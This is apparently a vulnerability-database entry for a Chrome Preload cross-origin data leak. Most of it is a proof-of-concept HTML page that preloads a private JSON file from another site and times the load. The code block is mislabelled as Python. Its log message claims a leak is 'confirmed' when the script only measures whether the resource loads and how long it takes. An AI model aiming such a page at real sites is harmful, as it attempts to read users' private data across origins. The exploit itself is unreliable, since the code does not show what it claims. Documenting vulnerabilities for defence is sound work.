Inappropriate implementation in Preload in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8014 -->
<!-- This PoC demonstrates a potential cross-origin data leak via Preload -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-8014 PoC</title>
</head>
<body>
<h1>Testing Preload Leak</h1>
<script>
// Target a sensitive resource on a different origin
const targetResource = 'https://target-site.com/private/user-data.json';
function checkLeak() {
const start = performance.now();
// Create a preload element to trigger the vulnerable implementation
const preloadLink = document.createElement('link');
preloadLink.rel = 'preload';
preloadLink.href = targetResource;
preloadLink.as = 'fetch';
// Attempt to detect if the resource was accessible or leaked via timing
preloadLink.onload = function() {
const end = performance.now();
const duration = end - start;
console.log("[+] Resource loaded. Time taken: " + duration + "ms");
console.log("[!] Potential data leak confirmed based on load behavior.");
};
preloadLink.onerror = function() {
console.log("[-] Resource blocked or error occurred.");
};
document.head.appendChild(preloadLink);
}
// Execute the check
checkLeak();
</script>
</body>
</html>